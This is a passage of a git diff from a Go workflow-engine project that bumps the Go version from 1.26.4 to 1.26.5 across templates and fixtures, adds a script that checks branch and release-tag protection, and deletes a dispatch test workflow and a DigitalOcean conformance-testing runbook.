"First leak detected at ${NOW}. Scrubbed ${SCRUBBED_COUNT} resources. Details: ${SCRUBBED_DETAILS} - -Triage guidance: see [docs/conformance-runbook.md § Operator interventions](../../../docs/conformance-runbook.md). **Do not remove the \`${HELPER_LABEL}\` label** — it is the dedup key. To open a separate postmortem swimlane, file a new issue with ONLY the \`${PRIMARY_LABEL}\` label, link this one, then close this one." -fi diff --git a/.github/workflows/scripts/verify-public-workflow-branch-protection.sh b/.github/workflows/scripts/verify-public-workflow-branch-protection.sh new file mode 100755 index 000000000..294a57b04 --- /dev/null +++ b/.github/workflows/scripts/verify-public-workflow-branch-protection.sh @@ -0,0 +1,105 @@ +#!/usr/bin/env bash +set -euo pipefail + +repo="${1:?usage: verify-public-workflow-branch-protection.sh OWNER/REPO [BRANCH]}" +branch="${2:-main}" +required_check="Public Workflow Policy / policy" +required_app_id=15368 +fixture_mode=false +if [[ "${PUBLIC_WORKFLOW_PROTECTION_FIXTURE_MODE:-}" == "1" ]]; then + if [[ "${repo}" != "example/repo" || -z "${PUBLIC_WORKFLOW_CLASSIC_JSON_FILE:-}" || -z "${PUBLIC_WORKFLOW_RULESET_JSON_FILE:-}" || -z "${PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE:-}" || -z "${PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE:-}" ]]; then + echo "fixture mode is restricted to complete example/repo test inputs" >&2 + exit 2 + fi + fixture_mode=true +fi + +if [[ "${fixture_mode}" == true ]]; then + classic="$(<"${PUBLIC_WORKFLOW_CLASSIC_JSON_FILE}")" +else + classic="$(gh api "repos/${repo}/branches/${branch}/protection" 2>/dev/null || true)" +fi +branch_verified=false +if jq -e --arg check "${required_check}" --argjson app_id "${required_app_id}" ' + .enforce_admins.enabled == true + and .required_status_checks.strict == true + and .required_pull_request_reviews.required_approving_review_count >= 1 + and .required_pull_request_reviews.dismiss_stale_reviews == true + and ((.required_pull_request_reviews.bypass_pull_request_allowances.users // []) | length == 0) + and ((.required_pull_request_reviews.bypass_pull_request_allowances.teams // []) | length == 0) + and ((.required_pull_request_reviews.bypass_pull_request_allowances.apps // []) | length == 0) + and (any(.required_status_checks.checks[]?; .context == $check and .app_id == $app_id)) + and (.restrictions == null or ((.restrictions.users // []) | length == 0) + and ((.restrictions.teams // []) | length == 0) + and ((.restrictions.apps // []) | length == 0)) + and (.allow_force_pushes.enabled // false) == false + and (.allow_deletions.enabled // false) == false +' <<<"${classic}" >/dev/null 2>&1; then + branch_verified=true +fi + +ruleset_documents=() +tag_ruleset_documents=() +if [[ "${fixture_mode}" == true ]]; then + ruleset_documents+=("$(<"${PUBLIC_WORKFLOW_RULESET_JSON_FILE}")") + tag_ruleset_documents+=("$(<"${PUBLIC_WORKFLOW_TAG_RULESET_JSON_FILE}")") + repository="$(<"${PUBLIC_WORKFLOW_REPOSITORY_JSON_FILE}")" +else + repository="$(gh api "repos/${repo}")" + rulesets="$(gh api --paginate "repos/${repo}/rulesets" 2>/dev/null | jq -s 'add // []')" + while IFS= read -r ruleset_id; do + ruleset="$(gh api "repos/${repo}/rulesets/${ruleset_id}")" + ruleset_documents+=("${ruleset}") + tag_ruleset_documents+=("${ruleset}") + done < <(jq -r '.[] | select(.enforcement == "active") | .id' <<<"${rulesets}") +fi +default_branch="$(jq -er '.default_branch | select(type == "string" and length > 0)' <<<"${repository}")" +if [[ "${branch_verified}" != true ]]; then + for ruleset in "${ruleset_documents[@]}"; do + if jq -e --arg branch "refs/heads/${branch}" --arg default_branch "refs/heads/${default_branch}" --arg check "${required_check}" --argjson app_id "${required_app_id}" ' + .target == "branch" + and .enforcement == "active" + and ((.bypass_actors // []) | length == 0) + and ((.conditions.ref_name.include // []) | any(. == $branch or (. == "~DEFAULT_BRANCH" and $branch == $default_branch))) + and ((.conditions.ref_name.exclude // []) | length == 0) + and (any(.rules[]?; .type == "pull_request" + and .parameters.required_approving_review_count >= 1 + and .parameters.dismiss_stale_reviews_on_push == true)) + and (any(.rules[]?; .type == "required_status_checks" + and .parameters.strict_required_status_checks_policy == true + and any(.parameters.required_status_checks[]?; .context == $check and .integration_id == $app_id))) + and (any(.rules[]?; .type == "non_fast_forward")) + and (any(.rules[]?; .type == "deletion")) + ' <<<"${ruleset}" >/dev/null; then + branch_verified=true + break + fi + done +fi + +tag_verified=false +for ruleset in "${tag_ruleset_documents[@]}"; do + if jq -e ' + .target == "tag" + and .enforcement == "active" + and (.conditions.ref_name.include == ["refs/tags/v*"]) + and (.conditions.ref_name.exclude == []) + and ((.bypass_actors // []) | length == 1) + and (.bypass_actors[0] | has("actor_id") and .actor_id == null + and .actor_type == "OrganizationAdmin" and .bypass_mode == "always") + and (any(.rules[]?; .type == "creation")) + and (any(.rules[]?; .type == "update")) + and (any(.rules[]?; .type == "deletion")) + ' <<<"${ruleset}" >/dev/null; then + tag_verified=true + break + fi +done + +if [[ "${branch_verified}" == true && "${tag_verified}" == true ]]; then + echo "branch and release-tag protection verified for ${repo}:${branch} (${required_check}, GitHub Actions app ${required_app_id})" + exit 0 +fi + +echo "repository governance is incomplete for ${repo}:${branch}; require protected branch policy and active refs/tags/v* creation/update/deletion rules with the sole OrganizationAdmin always bypass" >&2 +exit 1 diff --git a/.github/workflows/test-dispatch.yml b/.github/workflows/test-dispatch.yml deleted file mode 100644 index a1e57929f..000000000 --- a/.github/workflows/test-dispatch.yml +++ /dev/null @@ -1,44 +0,0 @@ -name: Test Dispatch - -on: - workflow_dispatch: - inputs: - version: - description: 'Version to dispatch (e.g. v0.3.20)' - required: true - default: 'v0.3.20' - -permissions: - contents: read - -jobs: - test-dispatch: - name: Test Repository Dispatch - runs-on: ubuntu-latest - steps: - - name: Check token availability - run: | - if [ -z "${{ secrets.REPO_DISPATCH_TOKEN }}" ]; then - echo "::error::REPO_DISPATCH_TOKEN secret is not set. Create a PAT with 'repo' scope and add it as a repository or org secret." - exit 1 - fi - echo "REPO_DISPATCH_TOKEN is set" - - - name: Dispatch to workflow-editor - uses: peter-evans/repository-dispatch@28959ce8df70de7be546dd1250a005dd32156697 # v4.0.1 - with: - token: ${{ secrets.REPO_DISPATCH_TOKEN }} - repository: GoCodeAlone/workflow-editor - event-type: workflow-release - client-payload: '{"version": "${{ inputs.version }}"}' - - - name: Verify dispatch triggered - env: - GH_TOKEN: ${{ secrets.REPO_DISPATCH_TOKEN }} - run: | - sleep 5 - echo "=== workflow-editor recent runs ===" - gh run list --repo GoCodeAlone/workflow-editor --limit 3 --json status,displayTitle,event --jq '.[] | "\(.event) \(.status) \(.displayTitle)"' - echo "" - echo "Chain: workflow → editor → (vscode, jetbrains, admin)" - echo "Editor's publish.yml dispatches editor-release to IDE plugins after npm publish." diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f5a049fac..8182f163f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -6,7 +6,7 @@ Thank you for your interest in contributing to the workflow engine. This guide c ### Prerequisites -- Go 1.26.4+ +- Go 1.26.5+ - Node.js 24+ (for UI development) - Git - `golangci-lint` (install: `go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest`) diff --git a/DOCUMENTATION.md b/DOCUMENTATION.md index f5c1d30cf..038ea5cd4 100644 --- a/DOCUMENTATION.md +++ b/DOCUMENTATION.md @@ -1589,7 +1589,7 @@ steps: - name: run-tests type: step.docker_run config: - image: "golang:1.26.4" + image: "golang:1.26.5" command: ["go", "test", "./..."] env: CI: "true" diff --git a/README.md b/README.md index c40f0d95d..f1e941d7e 100644 --- a/README.md +++ b/README.md @@ -133,7 +133,7 @@ scaffolds, see [Repository Layout](docs/REPO_LAYOUT.md). ### Requirements -- Go 1.26.4+ +- Go 1.26.5+ - Node.js 24+ (for UI development) ### Run the Server diff --git a/cmd/wfctl/build_security_audit_test.go b/cmd/wfctl/build_security_audit_test.go index a9d482d4a..39789eab5 100644 --- a/cmd/wfctl/build_security_audit_test.go +++ b/cmd/wfctl/build_security_audit_test.go @@ -377,7 +377,7 @@ ci: containers: - name: app method: dockerfile -`, `FROM golang:1.26.4-alpine +`, `FROM golang:1.26.5-alpine RUN addgroup -S app && adduser -S app -G app USER app COPY . . @@ -406,7 +406,7 @@ ci: containers: - name: app method: dockerfile -`, `FROM golang:1.26.4-alpine +`, `FROM golang:1.26.5-alpine USER app `) findings := runBuildAuditChecks(cfgPath, filepath.Dir(cfgPath)) diff --git a/cmd/wfctl/deploy.go b/cmd/wfctl/deploy.go index 0d7d06251..ff1bb3264 100644 --- a/cmd/wfctl/deploy.go +++ b/cmd/wfctl/deploy.go @@ -974,7 +974,7 @@ func writeDockerfile(path string) error { const content = `# Auto-generated by wfctl deploy docker # Multi-stage build for a workflow engine application. -FROM golang:1.26.4-alpine AS builder +FROM golang:1.26.5-alpine AS builder RUN apk add --no-cache git ca-certificates WORKDIR /build COPY go.mod go.sum ./ diff --git a/cmd/wfctl/generate.go b/cmd/wfctl/generate.go index 46d5867f9..0342c7992 100644 --- a/cmd/wfctl/generate.go +++ b/cmd/wfctl/generate.go @@ -177,7 +177,7 @@ func writeCIWorkflow(path string, features *projectFeatures) error { fmt.Fprintf(&b, " - uses: %s\n", githubActionsCheckoutRef) fmt.Fprintf(&b, " - uses: %s\n", githubActionsSetupGoRef) b.WriteString(" with:\n") - b.WriteString(" go-version: '1.26.4'\n") + b.WriteString(" go-version: '1.26.5'\n") b.WriteString(" - name: Install wfctl\n") b.WriteString(" run: go install github.com/GoCodeAlone/workflow/cmd/wfctl@latest\n") b.WriteString(" - name: Validate config\n") @@ -230,7 +230,7 @@ func writeCDWorkflow(path string, features *projectFeatures, registry, platforms fmt.Fprintf(&b, " - uses: %s\n", githubActionsCheckoutRef) fmt.Fprintf(&b, " - uses: %s\n", githubActionsSetupGoRef) b.WriteString(" with:\n") - b.WriteString(" go-version: '1.26.4'\n") + b.WriteString(" go-version: '1.26.5'\n") if features.hasUI { fmt.Fprintf(&b, " - uses: %s\n", githubActionsSetupNodeRef) @@ -280,7 +280,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Build plugin binaries run: | mkdir -p dist diff --git a/cmd/wfctl/plugin_conformance_test.go b/cmd/wfctl/plugin_conformance_test.go index 02786a487..9301b22c2 100644 --- a/cmd/wfctl/plugin_conformance_test.go +++ b/cmd/wfctl/plugin_conformance_test.go @@ -408,7 +408,7 @@ func prepareConformanceFixture(t *testing.T, name string) string { if err != nil { t.Fatalf("repo root: %v", err) } - goMod := "module example.com/" + name + "\n\ngo 1.26.4\n\nrequire github.com/GoCodeAlone/workflow v0.0.0\n\nreplace github.com/GoCodeAlone/workflow => " + filepath.ToSlash(root) + "\n" + goMod := "module example.com/" + name + "\n\ngo 1.26.5\n\nrequire github.com/GoCodeAlone/workflow v0.0.0\n\nreplace github.com/GoCodeAlone/workflow => " + filepath.ToSlash(root) + "\n" if err := os.WriteFile(filepath.Join(dst, "go.mod"), []byte(goMod), 0o600); err != nil { t.Fatalf("write fixture go.mod: %v", err) } diff --git a/cmd/wfctl/templates/api-service/.github/workflows/ci.yml.tmpl b/cmd/wfctl/templates/api-service/.github/workflows/ci.yml.tmpl index e3cb94363..e48deec24 100644 --- a/cmd/wfctl/templates/api-service/.github/workflows/ci.yml.tmpl +++ b/cmd/wfctl/templates/api-service/.github/workflows/ci.yml.tmpl @@ -12,7 +12,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Install wfctl run: go install github.com/GoCodeAlone/workflow/cmd/wfctl@latest - name: Validate config diff --git a/cmd/wfctl/templates/api-service/Dockerfile.tmpl b/cmd/wfctl/templates/api-service/Dockerfile.tmpl index c81f01c89..c997d4e76 100644 --- a/cmd/wfctl/templates/api-service/Dockerfile.tmpl +++ b/cmd/wfctl/templates/api-service/Dockerfile.tmpl @@ -1,4 +1,4 @@ -FROM golang:1.26.4-alpine AS builder +FROM golang:1.26.5-alpine AS builder WORKDIR /app diff --git a/cmd/wfctl/templates/api-service/README.md.tmpl b/cmd/wfctl/templates/api-service/README.md.tmpl index 10fb1f880..d01675d4c 100644 --- a/cmd/wfctl/templates/api-service/README.md.tmpl +++ b/cmd/wfctl/templates/api-service/README.md.tmpl @@ -6,7 +6,7 @@ A workflow-based API service built with the [GoCodeAlone/workflow](https://githu ### Prerequisites -- Go 1.26.4+ +- Go 1.26.5+ ### Run diff --git a/cmd/wfctl/templates/api-service/go.mod.tmpl b/cmd/wfctl/templates/api-service/go.mod.tmpl index 634d7b7cb..65226a4be 100644 --- a/cmd/wfctl/templates/api-service/go.mod.tmpl +++ b/cmd/wfctl/templates/api-service/go.mod.tmpl @@ -1,6 +1,6 @@ module github.com/{{.Author}}/{{.Name}} -go 1.26.4 +go 1.26.5 require ( github.com/CrisisTextLine/modular v1.11.11 diff --git a/cmd/wfctl/templates/event-processor/.github/workflows/ci.yml.tmpl b/cmd/wfctl/templates/event-processor/.github/workflows/ci.yml.tmpl index e3cb94363..e48deec24 100644 --- a/cmd/wfctl/templates/event-processor/.github/workflows/ci.yml.tmpl +++ b/cmd/wfctl/templates/event-processor/.github/workflows/ci.yml.tmpl @@ -12,7 +12,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Install wfctl run: go install github.com/GoCodeAlone/workflow/cmd/wfctl@latest - name: Validate config diff --git a/cmd/wfctl/templates/event-processor/Dockerfile.tmpl b/cmd/wfctl/templates/event-processor/Dockerfile.tmpl index c81f01c89..c997d4e76 100644 --- a/cmd/wfctl/templates/event-processor/Dockerfile.tmpl +++ b/cmd/wfctl/templates/event-processor/Dockerfile.tmpl @@ -1,4 +1,4 @@ -FROM golang:1.26.4-alpine AS builder +FROM golang:1.26.5-alpine AS builder WORKDIR /app diff --git a/cmd/wfctl/templates/event-processor/README.md.tmpl b/cmd/wfctl/templates/event-processor/README.md.tmpl index 6f1f7b0bd..0d4cf2e09 100644 --- a/cmd/wfctl/templates/event-processor/README.md.tmpl +++ b/cmd/wfctl/templates/event-processor/README.md.tmpl @@ -6,7 +6,7 @@ An event-driven workflow processor built with the [GoCodeAlone/workflow](https:/ ### Prerequisites -- Go 1.26.4+ +- Go 1.26.5+ ### Run diff --git a/cmd/wfctl/templates/event-processor/go.mod.tmpl b/cmd/wfctl/templates/event-processor/go.mod.tmpl index 634d7b7cb..65226a4be 100644 --- a/cmd/wfctl/templates/event-processor/go.mod.tmpl +++ b/cmd/wfctl/templates/event-processor/go.mod.tmpl @@ -1,6 +1,6 @@ module github.com/{{.Author}}/{{.Name}} -go 1.26.4 +go 1.26.5 require ( github.com/CrisisTextLine/modular v1.11.11 diff --git a/cmd/wfctl/templates/full-stack/.github/workflows/ci.yml.tmpl b/cmd/wfctl/templates/full-stack/.github/workflows/ci.yml.tmpl index bd0fcd5dd..a51571621 100644 --- a/cmd/wfctl/templates/full-stack/.github/workflows/ci.yml.tmpl +++ b/cmd/wfctl/templates/full-stack/.github/workflows/ci.yml.tmpl @@ -12,7 +12,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 with: node-version: '24' diff --git a/cmd/wfctl/templates/full-stack/Dockerfile.tmpl b/cmd/wfctl/templates/full-stack/Dockerfile.tmpl index 5ba9637eb..5adea38ba 100644 --- a/cmd/wfctl/templates/full-stack/Dockerfile.tmpl +++ b/cmd/wfctl/templates/full-stack/Dockerfile.tmpl @@ -6,7 +6,7 @@ RUN npm ci COPY ui/ . RUN npm run build -FROM golang:1.26.4-alpine AS go-builder +FROM golang:1.26.5-alpine AS go-builder WORKDIR /app COPY go.mod ./ diff --git a/cmd/wfctl/templates/full-stack/README.md.tmpl b/cmd/wfctl/templates/full-stack/README.md.tmpl index 824fde09f..9cf2c7822 100644 --- a/cmd/wfctl/templates/full-stack/README.md.tmpl +++ b/cmd/wfctl/templates/full-stack/README.md.tmpl @@ -6,7 +6,7 @@ A full-stack workflow application with React UI and Go backend, built with the [ ### Prerequisites -- Go 1.26.4+ +- Go 1.26.5+ - Node.js 24+ ### Development diff --git a/cmd/wfctl/templates/full-stack/go.mod.tmpl b/cmd/wfctl/templates/full-stack/go.mod.tmpl index 634d7b7cb..65226a4be 100644 --- a/cmd/wfctl/templates/full-stack/go.mod.tmpl +++ b/cmd/wfctl/templates/full-stack/go.mod.tmpl @@ -1,6 +1,6 @@ module github.com/{{.Author}}/{{.Name}} -go 1.26.4 +go 1.26.5 require ( github.com/CrisisTextLine/modular v1.11.11 diff --git a/cmd/wfctl/templates/plugin/.github/workflows/release.yml.tmpl b/cmd/wfctl/templates/plugin/.github/workflows/release.yml.tmpl index 1a6ead3c5..d256c5cee 100644 --- a/cmd/wfctl/templates/plugin/.github/workflows/release.yml.tmpl +++ b/cmd/wfctl/templates/plugin/.github/workflows/release.yml.tmpl @@ -12,7 +12,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Setup wfctl uses: GoCodeAlone/setup-wfctl@526e23ee7d3cae9ba8ba09d87090879e04c7aab2 # v1 - name: Validate release contract before packaging diff --git a/cmd/wfctl/templates/plugin/go.mod.tmpl b/cmd/wfctl/templates/plugin/go.mod.tmpl index 8ca0bcec5..c74e4dced 100644 --- a/cmd/wfctl/templates/plugin/go.mod.tmpl +++ b/cmd/wfctl/templates/plugin/go.mod.tmpl @@ -1,6 +1,6 @@ module github.com/{{.Author}}/{{.Name}} -go 1.26.4 +go 1.26.5 require ( github.com/GoCodeAlone/workflow v0.1.0 diff --git a/cmd/wfctl/templates/ui-plugin/.github/workflows/release.yml.tmpl b/cmd/wfctl/templates/ui-plugin/.github/workflows/release.yml.tmpl index 945373f55..03704cbba 100644 --- a/cmd/wfctl/templates/ui-plugin/.github/workflows/release.yml.tmpl +++ b/cmd/wfctl/templates/ui-plugin/.github/workflows/release.yml.tmpl @@ -12,7 +12,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 with: node-version: '24' diff --git a/cmd/wfctl/templates/ui-plugin/go.mod.tmpl b/cmd/wfctl/templates/ui-plugin/go.mod.tmpl index 8ca0bcec5..c74e4dced 100644 --- a/cmd/wfctl/templates/ui-plugin/go.mod.tmpl +++ b/cmd/wfctl/templates/ui-plugin/go.mod.tmpl @@ -1,6 +1,6 @@ module github.com/{{.Author}}/{{.Name}} -go 1.26.4 +go 1.26.5 require ( github.com/GoCodeAlone/workflow v0.1.0 diff --git a/cmd/wfctl/testdata/conformance/iac-hang/go.mod b/cmd/wfctl/testdata/conformance/iac-hang/go.mod index cf7417c92..9fabc04a8 100644 --- a/cmd/wfctl/testdata/conformance/iac-hang/go.mod +++ b/cmd/wfctl/testdata/conformance/iac-hang/go.mod @@ -1,3 +1,3 @@ module example.com/iac-hang -go 1.26.4 +go 1.26.5 diff --git a/cmd/wfctl/testdata/conformance/iac-pass/go.mod b/cmd/wfctl/testdata/conformance/iac-pass/go.mod index d2a49b72d..1d2044399 100644 --- a/cmd/wfctl/testdata/conformance/iac-pass/go.mod +++ b/cmd/wfctl/testdata/conformance/iac-pass/go.mod @@ -1,6 +1,6 @@ module example.com/iac-pass -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.0.0 diff --git a/cmd/wfctl/testdata/conformance/no-iac/go.mod b/cmd/wfctl/testdata/conformance/no-iac/go.mod index f42b849b4..cb0ac0665 100644 --- a/cmd/wfctl/testdata/conformance/no-iac/go.mod +++ b/cmd/wfctl/testdata/conformance/no-iac/go.mod @@ -1,6 +1,6 @@ module example.com/no-iac -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.0.0 diff --git a/cmd/wfctl/testdata/verify_capabilities/good/go.mod b/cmd/wfctl/testdata/verify_capabilities/good/go.mod index 56b7f0726..d75851d94 100644 --- a/cmd/wfctl/testdata/verify_capabilities/good/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/good/go.mod @@ -1,6 +1,6 @@ module github.com/test/good -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.62.0 diff --git a/cmd/wfctl/testdata/verify_capabilities/iac-extra-service/go.mod b/cmd/wfctl/testdata/verify_capabilities/iac-extra-service/go.mod index 582f9de94..16edb5cea 100644 --- a/cmd/wfctl/testdata/verify_capabilities/iac-extra-service/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/iac-extra-service/go.mod @@ -1,6 +1,6 @@ module github.com/test/iac-extra-service -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.63.2 diff --git a/cmd/wfctl/testdata/verify_capabilities/iac-good/go.mod b/cmd/wfctl/testdata/verify_capabilities/iac-good/go.mod index 4cc8cf9f4..af9292583 100644 --- a/cmd/wfctl/testdata/verify_capabilities/iac-good/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/iac-good/go.mod @@ -1,6 +1,6 @@ module github.com/test/iac-good -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.63.2 diff --git a/cmd/wfctl/testdata/verify_capabilities/iac-missing-service/go.mod b/cmd/wfctl/testdata/verify_capabilities/iac-missing-service/go.mod index 518108b03..4bc7fa68f 100644 --- a/cmd/wfctl/testdata/verify_capabilities/iac-missing-service/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/iac-missing-service/go.mod @@ -1,6 +1,6 @@ module github.com/test/iac-missing-service -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.63.2 diff --git a/cmd/wfctl/testdata/verify_capabilities/missing-ldflag/go.mod b/cmd/wfctl/testdata/verify_capabilities/missing-ldflag/go.mod index 0dd940dc6..2d5eb3837 100644 --- a/cmd/wfctl/testdata/verify_capabilities/missing-ldflag/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/missing-ldflag/go.mod @@ -1,6 +1,6 @@ module github.com/test/missing-ldflag -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.62.0 diff --git a/cmd/wfctl/testdata/verify_capabilities/name-drift/go.mod b/cmd/wfctl/testdata/verify_capabilities/name-drift/go.mod index df4b39cb6..2c72d81d5 100644 --- a/cmd/wfctl/testdata/verify_capabilities/name-drift/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/name-drift/go.mod @@ -1,6 +1,6 @@ module github.com/test/name-drift -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.62.0 diff --git a/cmd/wfctl/testdata/verify_capabilities/release-good/go.mod b/cmd/wfctl/testdata/verify_capabilities/release-good/go.mod index c5e5e832e..e9d2e9ff4 100644 --- a/cmd/wfctl/testdata/verify_capabilities/release-good/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/release-good/go.mod @@ -1,6 +1,6 @@ module github.com/test/release-good -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.62.0 diff --git a/cmd/wfctl/testdata/verify_capabilities/version-drift/go.mod b/cmd/wfctl/testdata/verify_capabilities/version-drift/go.mod index 49a5a8b3b..28ac82104 100644 --- a/cmd/wfctl/testdata/verify_capabilities/version-drift/go.mod +++ b/cmd/wfctl/testdata/verify_capabilities/version-drift/go.mod @@ -1,6 +1,6 @@ module github.com/test/version-drift -go 1.26.4 +go 1.26.5 require github.com/GoCodeAlone/workflow v0.62.0 diff --git a/docs/APPLICATION_UI_CONTRACT.md b/docs/APPLICATION_UI_CONTRACT.md index 2b2875664..18bbf48a8 100644 --- a/docs/APPLICATION_UI_CONTRACT.md +++ b/docs/APPLICATION_UI_CONTRACT.md @@ -227,7 +227,7 @@ COPY ui/ ./ RUN npm run build # Stage 2: Build Go binary -FROM golang:1.26.4-alpine AS go-builder +FROM golang:1.26.5-alpine AS go-builder WORKDIR /app COPY --from=ui-builder /app/ui/dist ./module/ui_dist COPY . . diff --git a/docs/WFCTL.md b/docs/WFCTL.md index 3556b8f7b..2487c99d1 100644 --- a/docs/WFCTL.md +++ b/docs/WFCTL.md @@ -2058,7 +2058,9 @@ components, and use `current_state` fixtures to cover update/delete plan shapes. Tag-based force-cleanup across every provider declared in the config. For each `iac.provider` module, type-asserts to the optional `interfaces.Enumerator`; providers that implement it are queried via `EnumerateByTag`, and the matched resources are either listed (`--dry-run`, default) or deleted (`--fix`). Providers that do **not** implement `Enumerator` are skipped with `skipped : provider does not implement Enumerator` to stdout so operators see the explicit skip. -Used by the conformance smoke gate (`.github/workflows/conformance-smoke.yml`) to scrub resources orphaned by panicking tests before the hourly leak-scrubber cron picks them up. Safe to call from any operator workstation against any IaC config. +This is an operator-local recovery command. Public Workflow automation never +invokes it against live providers; run it only from an explicitly authorized +operator environment against the intended IaC config. ``` wfctl infra cleanup --tag NAME [-c CONFIG] [--env ENV] [--dry-run | --fix] diff --git a/docs/conformance-runbook.md b/docs/conformance-runbook.md deleted file mode 100644 index ef9bab61e..000000000 --- a/docs/conformance-runbook.md +++ /dev/null @@ -1,235 +0,0 @@ -# Conformance Runbook - -Operational reference for the W-7 IaC conformance suite + per-PR DO -smoke gate. Source of truth for budget approval, threshold changes, -token rotation, and operator interventions when CI fires alerts. - -## Overview - -The suite ships in `iac/conformance/` and is consumed by every IaC -provider plugin from a `*_test.go` calling -`conformance.Run(t, conformance.Config{...})`. Twelve scenarios pin -the cross-cutting contracts (Replace classification, Delete dispatch, -gRPC roundtrip, outputs refresh, plan-stale diagnostic, -cross-resource validation, JIT cross-module resolution, protected- -replace gate, read consistency, replace-cascade, upsert recovery). - -The DO smoke gate runs `Scenario_NeedsReplaceTriggersReplaceAction` -against a real Droplet on every PR that touches the IaC dispatch -surface (`iac/`, `platform/`, `cmd/wfctl/infra*`, -`interfaces/iac_*.go`, `go.mod`/`go.sum`, the workflow files). The -sister workflow in `workflow-plugin-digitalocean` (added in -P-DO/TP5) provisions the Droplet; this repo's -`.github/workflows/conformance-smoke.yml` is the trigger + budget -gate. - -## Budget approval - -| Field | Value | -|---|---| -| Approver | `jon@langevin.me` | -| Approval date | 2026-05-03 | -| Hard-stop threshold | **$25/mo month-to-date usage** | -| Soft-alert threshold | $15/mo (60 % of cap) | -| Alert channels | GitHub issue (auto-filed via T7.14 dedup helper, label `conformance-budget-incident`); Slack `#wfctl-ops` if configured | -| Per-PR estimated cost | ~$0.0005/PR (one s-1vcpu-512mb-10gb in nyc1 for ~5 minutes) | - -### Per-PR cost math - -DO Basic Droplet `s-1vcpu-512mb-10gb` priced at **$4/month** / -**$0.00595/hour** per -[https://www.digitalocean.com/pricing/droplets](https://www.digitalocean.com/pricing/droplets) -(verified 2026-05-04). - -``` -$4/mo ÷ 30 days ÷ 24 hrs ÷ 60 min = $0.0000926/min -$0.0000926/min × 5 min lifetime = ~$0.000463/PR - ≈ $0.0005/PR (sub-tenth-cent) -``` - -Re-verify pricing alongside any threshold change. Annual review is -appropriate; sooner if DO publishes a price change. - -### Changing the cap - -The cap is the source of truth. To raise/lower it: - -1. Update this file with a new entry under "Budget approval" (do - NOT overwrite the prior entry — append a row so the audit chain - is preserved). -2. Update `.github/workflows/conformance-budget-check.yml` to match. -3. Open a PR. Merge requires the approver in the table above (or a - designated successor named in a follow-up entry here). - -## Budget calibration - -The $25/mo cap is an estimate; recalibrate after **30 days** of -operational data (i.e., 30 days after T7.13 ships). Review process: - -1. Pull DO billing for the conformance account: month-to-date usage - for the calibration window. -2. Compute observed peak day-of-month spend; multiply by 30 ÷ days - elapsed for the projected month-end value. -3. Compare to (a) the cap and (b) the soft-alert threshold; raise - either if the steady-state spend already exceeds 60 % of the cap - on a typical month. -4. Land the calibration result as a new entry under "Budget approval" - (date, who reviewed, new threshold). - -Recurring 30-day calibration is tracked as a routine task — keep the -review cadence on a calendar reminder rather than a CI cron so the -human-in-the-loop review stays human. - -## Token rotation - -The DO API token used by the smoke gate is a **long-lived token** -scoped to the `wfctl-conformance@gocodealone.dev` account (no -production resources colocated). Rotation cadence: **quarterly**. - -### Rotation procedure - -1. In the DO control panel, log in as `wfctl-conformance@…` and - create a new Personal Access Token with read+write scopes. - Note the new token value (DO shows it once). -2. Update the GitHub Actions repository secret - `DO_CONFORMANCE_API_TOKEN` (Settings → Secrets and variables → - Actions → Repository secrets → Update). -3. Trigger a manual `conformance-smoke.yml` run on a draft PR to - confirm the new token works (budget pre-step succeeds). -4. After the manual run passes, **revoke** the old token in the DO - control panel. -5. Update this section's "Last rotated" line below. - -| Last rotated | By | Notes | -|---|---|---| -| 2026-05-03 | jon@langevin.me | Initial provisioning of the wfctl-conformance@ account + token | - -### Kill-switch arming state - -Until `DO_CONFORMANCE_API_TOKEN` is provisioned in repo secrets, the -budget-check workflow logs `::notice 